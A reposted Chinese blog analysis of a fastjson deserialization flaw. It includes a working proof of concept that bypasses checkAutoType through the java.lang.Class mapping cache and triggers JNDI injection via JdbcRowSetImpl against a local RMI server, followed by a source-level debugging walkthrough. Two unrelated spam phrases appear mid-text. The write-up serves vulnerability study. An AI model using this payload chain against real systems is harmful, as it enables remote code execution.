最新fastjson反序列化漏洞分析


來源於:https://blog.csdn.net/systemino/article/details/98188007

 

前言

寫的有點多,可能對師傅們來說比較啰嗦,不過這么寫完感覺自己也就明白了

 

poc

newPoc.java

  1.  
    import com.alibaba.fastjson.JSON;
  2.  
     
  3.  
    public class newPoc {
  4.  
    public static void main(String[] argv) {
  5.  
    String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}," +
  6.  
    ""xxxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":" +
  7.  
    ""rmi://localhost:1099/Exploit","autoCommit":true}}}";
  8.  
    JSON.parse(payload);
  9.  
    }
  10.  
    }

Exploit.java

  1.  
    import javax.naming.Context;
  2.  
    import javax.naming.Name;
  3.  
    import javax.naming.spi.ObjectFactory;
  4.  
    import java.io.IOException;
  5.  
    import java.util.Hashtable;
  6.  
     
  7.  
    public class Exploit implements ObjectFactory {
  8.  
    @Override
  9.  
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
  10.  
    exec( "xterm");
  11.  
    return null;
  12.  
    }
  13.  
     
  14.  
    public static String exec(String cmd) {
  15.  
    try {
  16.  
    Runtime.getRuntime().exec( "/Applications/Calculator.app/Contents/MacOS/Calculator");
  17.  
    } catch (IOException e) {
  18.  
    e.printStackTrace();
  19.  
    }
  20.  
    return "";
  21.  
    }
  22.  
     
  23.  
    public static void main(String[] args) {
  24.  
    exec( "123");
  25.  
    }
  26.  
    }

rmiServer.java

  1.  
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2.  
     
  3.  
    import javax.naming.Reference;
  4.  
    import java.rmi.registry.LocateRegistry;
  5.  
    import java.rmi.registry.Registry;
  6.  
     
  7.  
    public class rmiServer {
  8.  
    public static void main(String[] args) throws Exception {
  9.  
    Registry registry = LocateRegistry.createRegistry(1099);
  10.  
    Reference reference = new Reference("Exploit", "Exploit", "http://localhost:1099/");
  11.  
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
  12.  
    System.out.println("service bind at 1099");
  13.  
    registry.bind( "Exploit", wrapper);
  14.  
    }
  15.  
    }
  1.  
    {
  2.  
    "name":{
  3.  
    "@type":"java.lang.Class",
  4.  
    "val":"com.sun.rowset.JdbcRowSetImpl"
  5.  
    },
  6.  
    "xxxx":{
  7.  
    "@type":"com.sun.rowset.JdbcRowSetImpl",
  8.  
    "dataSourceName":"rmi://localhost:1099/Exploit",
  9.  
    "autoCommit":true
  10.  
    }
  11.  
    }

 

漏洞觸發流程

在JSON.parse處下斷點,單步進入到JSON這個類中,開始了fastjson庫的解析過程

經過幾個parse函數(java中,一個函數由函數名和函數參數唯一確定,也就是java中的函數簽名),雖然同為parse這個函數,但是函數參數不同,故進入到不同的函數中  PHP大馬

  1.  
    public static Object parse(String text) {
  2.  
    return parse(text, DEFAULT_PARSER_FEATURE);
  3.  
    }
  4.  
     
  5.  
    public static Object parse(String text, int features) {
  6.  
    return parse(text, ParserConfig.getGlobalInstance(), features);
  7.  
    }
  8.  
     
  9.  
    public static Object parse(String text, ParserConfig config, int features) {
  10.  
    if (text == null) {
  11.  
    return null;
  12.  
    } else {
  13.  
    DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
  14.  
    Object value = parser.parse();
  15.  
    parser.handleResovleTask( value);
  16.  
    parser.close();
  17.  
    return value;
  18.  
    }
  19.  
    }

在最后一個parse中,真正進入到json解析的流程

0x01 總覽

我們先不急着跟下去,因為java的調用鏈一般來說比較深,所以我們先看一下整個大體的流程是什么樣,來自己判斷一下這些函數都是用來干什么的,先宏觀的看,再跟進去一步步看它在做什么

DefaultJSONParser parser = new DefaultJSONParser(text, config, features);

初始化一個默認的json解析器

Object value = parser.parse();

調用這個json解析器的parse函數,來進行json解析

parser.handleResovleTask(value);

這個函數暫時不知道干什么,先放着  天天好彩

parser.close();

將解析器關閉

return value;

返回json解析的結果

可以看出來,我們真正需要關注的,其實就是DefaultJSONParser的生成和DefaultJSONParser對我們輸入json數據的處理

0x02 初始化json解析器(DefaultJSONParser parser = new DefaultJSONParser(text, config, features);)

  1. 在DefaultJSONParser這個類中有一部分靜態代碼塊,在實例化它的時候,最先調用靜態代碼塊
  1.  
    static {
  2.  
    Class<?>[] classes = new Class[]{ Boolean.TYPE, Byte.TYPE, Short.TYPE, Integer.TYPE, Long.TYPE, Float.TYPE, Double.TYPE, Boolean.class, Byte.class, Short.class, Integer.class, Long.class, Float.class, Double.class, BigInteger.class, BigDecimal.class, String.class};
  3.  
    Class[] var1 = classes;
  4.  
    int var2 = classes.length;
  5.  
     
  6.  
    for(int var3 = 0; var3 < var2; ++var3) {
  7.  
    Class<?> clazz = var1[var3];
  8.  
    primitiveClasses.add(clazz);
  9.  
    }
  10.  
     
  11.  
    }

這里就是把很多原生類都加入到了primitiveClasses這個集合中,供后面的使用

  1. 接下來調用DefaultJSONParser的構造函數
  1.  
    public DefaultJSONParser(String input, ParserConfig config, int features) {
  2.  
    this(input, new JSONScanner(input, features), config);
  3.  
    }

這里初始化了JSONScaner,對我們的json數據進行一些注冊

  1.  
    public JSONScanner(String input, int features) {
  2.  
    super(features);
  3.  
    this.text = input;
  4.  
    this.len = this.text.length();
  5.  
    this.bp = -1;
  6.  
    this.next();
  7.  
    if (this.ch == 'ufeff') {
  8.  
    this.next();
  9.  
    }
  10.  
     
  11.  
    }
  1. 進入DefaultJSONParser初始化
  1.  
    public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
  2.  
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
  3.  
    this.contextArrayIndex = 0;
  4.  
    this.resolveStatus = 0;
  5.  
    this.extraTypeProviders = null;
  6.  
    this.extraProcessors = null;
  7.  
    this.fieldTypeResolver = null;
  8.  
    this.autoTypeAccept = null;
  9.  
    this.lexer = lexer;
  10.  
    this.input = input;
  11.  
    this.config = config;
  12.  
    this.symbolTable = config.symbolTable;
  13.  
    int ch = lexer.getCurrent();
  14.  
    if (ch == '{') {
  15.  
    lexer.next();
  16.  
    ((JSONLexerBase)lexer).token = 12;
  17.  
    } else if (ch == '[') {
  18.  
    lexer.next();
  19.  
    ((JSONLexerBase)lexer).token = 14;
  20.  
    } else {
  21.  
    lexer.nextToken();
  22.  
    }
  23.  
     
  24.  
    }

這里對一些成員變量進行注冊,並且我們的json數據開頭是’{‘,所以token被設置為12

至此,對DefaultJSONParser的初始化就結束了,可以看到在這一個函數中,做的主要還是對整個解析上下文的初始化,將json數據和之后需要用到的類進行注冊,以便后面的使用

0x03 開始json解析流程(Object value = parser.parse();)

進入到DefaultJSONParser的parse方法,fastjson的真正json解析就開始了

  1.  
    public Object parse() {
  2.  
    return this.parse((Object)null);
  3.  
    }
  4.  
     
  5.  
    public Object parse(Object fieldName){
  6.  
    JSONLexer lexer = this.lexer;
  7.  
    switch(lexer.token()) {
  8.  
    ......
  9.  
    case 12:
  10.  
    JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
  11.  
    return this.parseObject((Map)object, fieldName);
  12.  
    ......
  13.  
    }

代碼比較長,在上面DefaultJSONParser的初始化中,將我們的token值設置為了12,所以進入到case 12這個條件中

  1. 先構建了一個JSONObject對象
  2. 進入到parseObject中
  3. 因為現在的token為12,所以一路if條件跳過,最后到else塊中
  1.  
    ParseContext context = this.context;
  2.  
    try {
  3.  
    Map map = object instanceof JSONObject ? ((JSONObject)object).getInnerMap() : object;
  4.  
    boolean setContextFlag = false;
  5.  
     
  6.  
    while(true) {
  7.  
    lexer.skipWhitespace();
  8.  
    char ch = lexer.getCurrent();
  9.  
    if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
  10.  
    while(ch == ',') {
  11.  
    lexer.next();
  12.  
    lexer.skipWhitespace();
  13.  
    ch = lexer.getCurrent();
  14.  
    }
  15.  
    }
  16.  
    ......
  17.  
    }
  18.  
    }

這是一個非常龐大的while循環,在這里面進行對json字符串的語法分析,以及各種判斷

0x04 巨大的while

json的解析過程是一個字符一個字符判斷的,和js的判斷機制有些類似

  1. 在while中先將鍵名解析出來
  2. 下一個值的開頭是’{‘
  3. 因為開頭是’{‘,意味着這是嵌套的一個json
  4. 之后到537行,再次調用parseObject,將鍵名傳入參數,來獲取對應鍵的值

可以將parseObject想像成一個魔法盒子,它會將你傳入的比如{‘xxx’:’xxx’}這樣的json解析,將它根據鍵值存到一個map里面,那么如果你傳入的是{‘xxx’ : {‘xxx’:’xxx’}}這樣形式的話,因為值也是一個鍵值對的形式,所以又會再次調用parseObject,那么最后的結果也就變成了一個map中嵌套一個map的結構

  1. 接下來,嵌套的這個json中就有意思了

java中的json不像php中的json那么單純,java中的json最重要的是它是java實現反序列化和序列化的很重要的手段,所以在fastjson中,定義了一些鍵,如果這些鍵出現的時候,那么這個鍵對應的值就不會被單純的認為是字符串

我們抽出來這個值:

  1.  
    "name":{
  2.  
    "@type":"java.lang.Class",
  3.  
    "val":"com.sun.rowset.JdbcRowSetImpl"
  4.  
    }

這個鍵名是@type,當我們繼續調試到292行的時候

這里判斷了兩個條件:

<1> key == JSON.DEFAULT_TYPE_KEY 判斷了是否為預設的特殊鍵名

<2> !lexer.isEnabled(Feature.DisableSpecialKeyDetect) 是否關閉了特殊鍵名的探測(默認開啟)

正是我們傳入的@type,所以這個json就不被認為是一個普通的字符串,而會是一個對象,這里也就進入了反序列化的地方

這里獲取到我們的@type的值為’java.lang.Class’

這里就是在第一次fastjson反序列化出現的之后補丁所添加的,它限制了反序列化的類的白名單和黑名單,這次包括之前的fastjson反序列化漏洞都是因為checkAutoType的問題導致的

0x05 checkAutoType

在這里,檢測了我們反序列化的類是否在黑名單里面,也就是下面的這一段:

這里,阿里玩了一個小技巧,為了防止攻擊者拿到禁止類的黑白名單,阿里並沒有直接拿類名稱來比較,而是拿類的一段字符串的hash來比較,這樣就不那么容易知道阿里的黑白名單具體是什么(當然已經有大佬搞出來了)

我們可以看到如果我們傳入的類符合this.denyHashCodes定義的hash的話,就不會反序列化這個類了,當然com.sun.rowset.JdbcRowSetImpl這個類必定是被禁止了的

之后再進行白名單的校驗,確保@type的這個類是完全沒問題的,所以這個地方,我們的惡意類不能進入到這一段代碼中,進去就是gg

繼續回到我們之前的流程,因為在IdentityHashMap中有java.lang.Class,也就是這個類被認為是安全的,所以在clazz = this.deserializers.findClass(typeName);這個地方就直接獲得了java.lang.Class對象

而之后的

  1.  
    if (clazz != null) {
  2.  
    if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
  3.  
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
  4.  
    } else {
  5.  
    return clazz;
  6.  
    }
  7.  
    }

就直接返回了java.lang.Class對象

0x06 回到DefaultJSONParser

在checkAutoType檢測完成以后,我們的clazz變量就成了java.lang.Class對象

調用ObjectDeserializer deserializer = this.config.getDeserializer(clazz)

ObjectDeserializer derializer = (ObjectDeserializer)this.deserializers.get(type);

在這個地方我們獲得了對應的deserilizer:MiscCodec對象

之后調用了MiscCodec對象的deserilize方法

進入到這個方法中:

之后調用parser.parse()

走到了這里

這里通過String stringLiteral = lexer.stringVal();獲取到了val這個鍵名對應的值:com.sun.rowset.JdbcRowSetImpl,最后將這個字符串返回

后面對我們的java.lang.Class進行一系列的判斷,進入到

繼續跟進,一路進入到loadClass這個函數

簡單來說,這個函數判斷預先定義的類的map里面有沒有傳進來的這個className,如果沒有的話,就把它加進去

而這個map正是checkAutoType里面的map,這個地方就是漏洞的觸發點,通過將com.sun.rowset.JdbcRowSetImpl這個類加載到map中,從而繞過了checkAutoType的驗證,進而造成了反序列化

 

0x07 新一輪的json解析

前面說過,那個大while里面是解析json用的,在第一個鍵值對解析完了以后,繼續開始解析第二個鍵值對,也就是:

  1.  
    "xxxx":{
  2.  
    "@type":"com.sun.rowset.JdbcRowSetImpl",
  3.  
    "dataSourceName":"rmi://localhost:1099/Exploit",
  4.  
    "autoCommit":true
  5.  
    }

和前面的流程基本一摸一樣,檢測到@type字段,獲取到@type對應的值,也就是com.sun.rowset.JdbcRowSetImpl,進入到checkAutoType的檢驗,我們直接跟到checkAutoType的檢驗中

前面都沒什么好說的,最重要的是這一步:

我們跟進,來到了這個函數

  1.  
    public static Class<?> getClassFromMapping(String className) {
  2.  
    return ( Class)mappings.get(className);
  3.  
    }

而maps里面的值為:

  1.  
    "java.text.SimpleDateFormat" -> {Class@691} "class java.text.SimpleDateFormat"
  2.  
    "java.util.concurrent.ConcurrentHashMap" -> {Class@18} "class java.util.concurrent.ConcurrentHashMap"
  3.  
    "java.lang.InternalError" -> {Class@348} "class java.lang.InternalError"
  4.  
    "java.lang.StackOverflowError" -> {Class@7} "class java.lang.StackOverflowError"
  5.  
    "java.sql.Date" -> {Class@696} "class java.sql.Date"
  6.  
    "java.util.concurrent.atomic.AtomicInteger" -> {Class@40} "class java.util.concurrent.atomic.AtomicInteger"
  7.  
    "java.lang.Exception" -> {Class@227} "class java.lang.Exception"
  8.  
    "java.lang.IllegalStateException" -> {Class@700} "class java.lang.IllegalStateException"
  9.  
    "java.util.Calendar" -> {Class@702} "class java.util.Calendar"
  10.  
    "java.lang.InterruptedException" -> {Class@704} "class java.lang.InterruptedException"
  11.  
    "java.util.BitSet" -> {Class@192} "class java.util.BitSet"
  12.  
    "java.util.Hashtable" -> {Class@236} "class java.util.Hashtable"
  13.  
    "[C" -> {Class@341} "class [C"
  14.  
    "java.util.TreeMap" -> {Class@709} "class java.util.TreeMap"
  15.  
    "java.util.LinkedHashMap" -> {Class@111} "class java.util.LinkedHashMap"
  16.  
    "java.sql.Timestamp" -> {Class@712} "class java.sql.Timestamp"
  17.  
    "java.lang.IllegalArgumentException" -> {Class@75} "class java.lang.IllegalArgumentException"
  18.  
    "java.util.concurrent.TimeUnit" -> {Class@715} "class java.util.concurrent.TimeUnit"
  19.  
    "java.lang.InstantiationError" -> {Class@717} "class java.lang.InstantiationError"
  20.  
    "java.lang.IndexOutOfBoundsException" -> {Class@719} "class java.lang.IndexOutOfBoundsException"
  21.  
    "java.lang.VerifyError" -> {Class@721} "class java.lang.VerifyError"
  22.  
    "long" -> {Class@723} "long"
  23.  
    "java.lang.IllegalThreadStateException" -> {Class@725} "class java.lang.IllegalThreadStateException"
  24.  
    "java.util.WeakHashMap" -> {Class@279} "class java.util.WeakHashMap"
  25.  
    "java.lang.InstantiationException" -> {Class@728} "class java.lang.InstantiationException"
  26.  
    "java.lang.NoSuchMethodError" -> {Class@180} "class java.lang.NoSuchMethodError"
  27.  
    "[short" -> {Class@343} "class [S"
  28.  
    "java.lang.StackTraceElement" -> {Class@732} "class java.lang.StackTraceElement"
  29.  
    "[byte" -> {Class@340} "class [B"
  30.  
    "short" -> {Class@735} "short"
  31.  
    "java.lang.AutoCloseable" -> {Class@263} "interface java.lang.AutoCloseable"
  32.  
    "[D" -> {Class@346} "class [D"
  33.  
    "char" -> {Class@739} "char"
  34.  
    "java.lang.LinkageError" -> {Class@299} "class java.lang.LinkageError"
  35.  
    "java.lang.IllegalAccessError" -> {Class@742} "class java.lang.IllegalAccessError"
  36.  
    "[double" -> {Class@346} "class [D"
  37.  
    "java.sql.Time" -> {Class@745} "class java.sql.Time"
  38.  
    "java.lang.NegativeArraySizeException" -> {Class@747} "class java.lang.NegativeArraySizeException"
  39.  
    "java.util.Locale" -> {Class@294} "class java.util.Locale"
  40.  
    "java.lang.NullPointerException" -> {Class@186} "class java.lang.NullPointerException"
  41.  
    "[float" -> {Class@345} "class [F"
  42.  
    "[int" -> {Class@342} "class [I"
  43.  
    "java.util.HashMap" -> {Class@144} "class java.util.HashMap"
  44.  
    "java.lang.OutOfMemoryError" -> {Class@260} "class java.lang.OutOfMemoryError"
  45.  
    "java.util.IdentityHashMap" -> {Class@755} "class java.util.IdentityHashMap"
  46.  
    "[long" -> {Class@344} "class [J"
  47.  
    "java.lang.NoClassDefFoundError" -> {Class@758} "class java.lang.NoClassDefFoundError"
  48.  
    "double" -> {Class@760} "double"
  49.  
    "java.lang.StringIndexOutOfBoundsException" -> {Class@762} "class java.lang.StringIndexOutOfBoundsException"
  50.  
    "[Z" -> {Class@339} "class [Z"
  51.  
    "java.lang.IllegalMonitorStateException" -> {Class@188} "class java.lang.IllegalMonitorStateException"
  52.  
    "[boolean" -> {Class@339} "class [Z"
  53.  
    "java.util.Collections$EmptyMap" -> {Class@277} "class java.util.Collections$EmptyMap"
  54.  
    "java.util.concurrent.atomic.AtomicLong" -> {Class@316} "class java.util.concurrent.atomic.AtomicLong"
  55.  
    "java.util.HashSet" -> {Class@177} "class java.util.HashSet"
  56.  
    "java.util.concurrent.ConcurrentSkipListMap" -> {Class@770} "class java.util.concurrent.ConcurrentSkipListMap"
  57.  
    "[F" -> {Class@345} "class [F"
  58.  
    "java.lang.NumberFormatException" -> {Class@773} "class java.lang.NumberFormatException"
  59.  
    "[char" -> {Class@341} "class [C"
  60.  
    "java.util.concurrent.ConcurrentSkipListSet" -> {Class@776} "class java.util.concurrent.ConcurrentSkipListSet"
  61.  
    "int" -> {Class@778} "int"
  62.  
    "java.lang.Cloneable" -> {Class@254} "interface java.lang.Cloneable"
  63.  
    "com.sun.rowset.JdbcRowSetImpl" -> {Class@781} "class com.sun.rowset.JdbcRowSetImpl"
  64.  
    "java.awt.Point" -> {Class@783} "class java.awt.Point"
  65.  
    "[J" -> {Class@344} "class [J"
  66.  
    "java.awt.Font" -> {Class@786} "class java.awt.Font"
  67.  
    "java.lang.NoSuchFieldException" -> {Class@788} "class java.lang.NoSuchFieldException"
  68.  
    "java.util.TreeSet" -> {Class@790} "class java.util.TreeSet"
  69.  
    "java.lang.NoSuchMethodException" -> {Class@792} "class java.lang.NoSuchMethodException"
  70.  
    "[I" -> {Class@342} "class [I"
  71.  
    "java.awt.Rectangle" -> {Class@795} "class java.awt.Rectangle"
  72.  
    "java.util.UUID" -> {Class@797} "class java.util.UUID"
  73.  
    "java.lang.SecurityException" -> {Class@799} "class java.lang.SecurityException"
  74.  
    "java.lang.Object" -> {Class@256} "class java.lang.Object"
  75.  
    "java.util.Date" -> {Class@802} "class java.util.Date"
  76.  
    "java.lang.RuntimeException" -> {Class@49} "class java.lang.RuntimeException"
  77.  
    "java.awt.Color" -> {Class@805} "class java.awt.Color"
  78.  
    "com.alibaba.fastjson.JSONObject" -> {Class@555} "class com.alibaba.fastjson.JSONObject"
  79.  
    "java.lang.NoSuchFieldError" -> {Class@808} "class java.lang.NoSuchFieldError"
  80.  
    "java.lang.IllegalAccessException" -> {Class@810} "class java.lang.IllegalAccessException"
  81.  
    "[B" -> {Class@340} "class [B"
  82.  
    "java.util.LinkedHashSet" -> {Class@813} "class java.util.LinkedHashSet"
  83.  
    "byte" -> {Class@815} "byte"
  84.  
    "java.lang.TypeNotPresentException" -> {Class@817} "class java.lang.TypeNotPresentException"
  85.  
    "[S" -> {Class@343} "class [S"
  86.  
    "boolean" -> {Class@820} "boolean"
  87.  
    "float" -> {Class@822} "float"

而這個map,在第一部分的json解析的時候,我們成功加入了com.sun.rowset.JdbcRowSetImpl(見63行),所以這里直接可以返回JdbcRowSetImpl這個類

  1.  
    if (clazz != null) {
  2.  
    if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
  3.  
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
  4.  
    } else {
  5.  
    return clazz;
  6.  
    }
  7.  
    }

因為在上面獲取的map中就返回了clazz的值,所以這里就直接返回了com.sun.rowset.JdbcRowSetImpl類,也就沒有了下面的黑白名單檢測,也就成功繞過了checkAutoType

0x08 JdbcRowSetImpl反序列化

最后在這個地方獲取了deserializer,並且通過這個deserializer反序列化了JdbcRowSetImpl類,最后成功調用lookup進行JNDI注入

因為這個地方牽扯到java asm直接生成字節碼,實在是有點看不懂,就只能跳過了,之后再學習吧,tcl

最后給一張經過asm之后的調用鏈吧

  1.  
    connect:643, JdbcRowSetImpl (com.sun.rowset)
  2.  
    setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
  3.  
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  4.  
    invoke:57, NativeMethodAccessorImpl (sun.reflect)
  5.  
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  6.  
    invoke:606, Method (java.lang.reflect)
  7.  
    setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
  8.  
    deserialze:759, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
  9.  
    parseRest:1283, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
  10.  
    deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
  11.  
    deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
  12.  
    parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
  13.  
    parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
  14.  
    parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
  15.  
    parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
  16.  
    parse:152, JSON (com.alibaba.fastjson)
  17.  
    parse:162, JSON (com.alibaba.fastjson)
  18.  
    parse:131, JSON (com.alibaba.fastjson)
  19.  
    main:10, newPoc (com.xiang.fastjson.poc)

本文由安全客原創發布 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM